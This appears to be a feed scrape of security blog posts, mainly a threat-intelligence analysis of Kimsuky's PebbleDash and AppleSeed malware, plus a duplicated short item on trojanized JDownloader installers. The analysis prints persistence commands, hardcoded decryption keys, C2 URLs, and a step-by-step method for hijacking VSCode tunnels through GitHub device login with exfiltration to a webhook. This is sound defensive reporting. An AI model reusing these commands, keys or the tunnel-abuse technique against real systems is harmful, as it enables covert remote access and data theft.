Normal view

Kimsuky targets organizations with PebbleDash-based tools

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Attackers replaced JDownloader installer downloads with malware

15 May 2026 at 14:45

If you downloaded the JDownloader installer during the compromise window (May 6-7), you are advised to verify the file.

 JDownloader is a popular download management application, particularly favored for automated downloads from file-hosting services, video sites, and premium link generators.

The JDownloader website was confirmed to have been compromised on May 6-7, 2026. During that window, the Windows “Download Alternative Installer” links and the Linux shell installer were compromised. Other download options, including macOS, JAR files, Flatpak, Winget, and Snap packages remained safe.

Users that applied updates during that period were not affected. The malicious Windows installers deployed a Python-based remote access Trojan (RAT).

The developers confirmed the breach on May 7, immediately taking the website offline for investigation. After security patches were applied and server configurations hardened, the website was restored on May 8-9 with verified clean installer links. The attack vector was identified as an unpatched CMS security bug that allowed attackers to modify access control lists without authentication.

How to stay safe

The developers advised users to verify that their installers have the proper digital signatures from “AppWork GmbH,” which compromised versions lacked.

A full system scan with a trusted anti-malware solution never hurts either.

Malwarebytes blocks the domains contacted by the RAT.

Malwarebytes blocks parkspringhotel[.]com
Malwarebytes blocks parkspringhotel[.]com

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Attackers replaced JDownloader installer downloads with malware

15 May 2026 at 14:45

If you downloaded the JDownloader installer during the compromise window (May 6-7), you are advised to verify the file.

 JDownloader is a popular download management application, particularly favored for automated downloads from file-hosting services, video sites, and premium link generators.

The JDownloader website was confirmed to have been compromised on May 6-7, 2026. During that window, the Windows “Download Alternative Installer” links and the Linux shell installer were compromised. Other download options, including macOS, JAR files, Flatpak, Winget, and Snap packages remained safe.

Users that applied updates during that period were not affected. The malicious Windows installers deployed a Python-based remote access Trojan (RAT).

The developers confirmed the breach on May 7, immediately taking the website offline for investigation. After security patches were applied and server configurations hardened, the website was restored on May 8-9 with verified clean installer links. The attack vector was identified as an unpatched CMS security bug that allowed attackers to modify access control lists without authentication.

How to stay safe

The developers advised users to verify that their installers have the proper digital signatures from “AppWork GmbH,” which compromised versions lacked.

A full system scan with a trusted anti-malware solution never hurts either.

Malwarebytes blocks the domains contacted by the RAT.

Malwarebytes blocks parkspringhotel[.]com
Malwarebytes blocks parkspringhotel[.]com

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Kimsuky targets organizations with PebbleDash-based tools

14 May 2026 at 13:00

